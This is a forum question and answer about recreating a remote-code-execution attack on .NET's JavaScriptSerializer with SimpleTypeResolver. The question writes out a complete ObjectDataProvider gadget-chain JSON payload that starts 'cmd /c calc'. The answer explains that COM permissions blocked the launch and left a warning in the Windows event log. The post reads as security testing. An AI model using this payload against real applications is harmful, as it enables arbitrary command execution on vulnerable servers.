When attempting to recreate an RCE attack using the unsafe configuration of JavaScriptSerializer with the SimpleTypeResolver I am not seeing any actual effect of my supposed malicious payload. I've found a payload that supposedly runs the calculator using shell through some gadgets available in the PresentationFramework. Initially I didn't have any references to the PresentationFramework but that has since been fixed by ensuring a using statement of System.Windows.Data.

Using the following code:

JavaScriptSerializer js = new JavaScriptSerializer(new SimpleTypeResolver());


            string maliciousPayload = @"{
                '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
                'MethodName':'Start',
                'ObjectInstance':{
                    '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                    'StartInfo': {
                        '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                        'FileName':'cmd',
                        'Arguments':'/c calc'
                    }
                }
            }";
            js.Deserialize(maliciousPayload, typeof(ObjectDataProvider));

I expect the calculator application to start when js.Deserialize is run but no such thing occurs. It simply passes on as usual.

1

There are 1 answers

0
Max Strandberg On BEST ANSWER

After experiencing a eureka moment which took embarrasingly long to manifest. I realized that I failed to check the system logs for anything of interest. What I found when doing so was that the attempt to start the calculator got logged as a warning event. I found it under Event Viewer > Custom Views > Administrative Events

The application-specific permission settings do not grant Local Activation
permission for the COM Server application with CLSID 

{(...)}

and APPID 

{(...)}

to the user IIS APPPOOL\DefaultAppPool SID ((...)) from address LocalHost
(Using LRPC) running in the application container Unavailable SID
(Unavailable). This security permission can be modified using the Component
Services administrative tool.

Privacy-related fields have been replaced with (...)

This means that the attack does in fact have an effect on the system. Leaving this here in hope to help someone who encounters a similar issue in the future.